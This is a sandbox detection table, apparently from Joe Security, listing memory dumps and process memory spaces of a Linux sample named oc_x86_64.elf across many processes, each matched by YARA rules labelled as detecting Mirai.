5782.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5782.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5782.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
10329.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
10329.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
10329.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7923.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7923.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7923.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
10415.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
10415.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
10415.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6293.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6293.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6293.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8078.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8078.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8078.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8688.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8688.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8688.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5811.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5811.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5811.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8748.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8748.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8748.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7921.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7921.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7921.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7701.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7701.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7701.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7362.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7362.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7362.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8810.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8810.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8810.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9746.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9746.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9746.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7218.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7218.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7218.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6102.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6102.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6102.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6865.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6865.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6865.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
10123.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
10123.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
10123.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6793.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6793.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6793.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9310.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9310.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9310.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7568.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7568.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7568.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5781.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5781.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5781.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8945.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8945.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8945.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7144.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7144.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7144.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8504.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8504.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8504.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7920.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7920.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7920.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6028.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6028.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6028.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9164.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9164.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9164.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7934.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7934.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7934.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8152.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8152.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8152.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7623.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7623.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7623.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7927.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7927.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7927.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7926.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7926.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7926.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7925.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7925.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7925.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7290.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7290.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7290.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9528.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5780.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5780.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5780.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9528.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9528.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7496.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7496.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7496.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5956.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5956.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5956.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7422.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7422.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7422.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9454.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9454.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9454.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7884.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7884.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7884.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5820.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5820.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5820.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7072.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7072.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7072.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
10269.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
10269.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
10269.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9236.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9236.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9236.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6355.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6355.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6355.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8882.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8882.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8882.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8627.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8627.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8627.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6160.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6160.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6160.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6575.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6575.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6575.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7930.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7930.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7930.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
10486.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
10486.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
10486.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6428.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6428.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6428.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7929.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7929.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7929.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
10189.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
10189.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
10189.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6925.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6925.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6925.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6719.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6719.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6719.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5752.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5752.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5752.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7000.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7000.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7000.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5812.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5812.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5812.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
10039.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
10039.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
10039.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7922.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7922.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7922.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8430.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8430.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8430.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9382.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9382.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9382.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
8298.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
8298.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
8298.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5779.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5779.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5779.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5783.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
5783.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5783.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9683.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9683.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9683.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9600.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9600.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9600.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6220.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6220.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6220.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
9090.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
9090.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
9090.1.00007f1165143000.00007f1165167000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5490	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5490	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5752	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5778	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5778	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5779	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5780	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5780	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5781	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5781	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5782	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5782	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5783	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5810	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5810	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5811	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5811	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5812	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5812	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5820	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5880	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5880	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5956	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 5956	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6028	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6028	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6102	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6102	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6160	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6220	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6293	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
Process Memory Space: oc_x86_64.elf PID: 6293	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
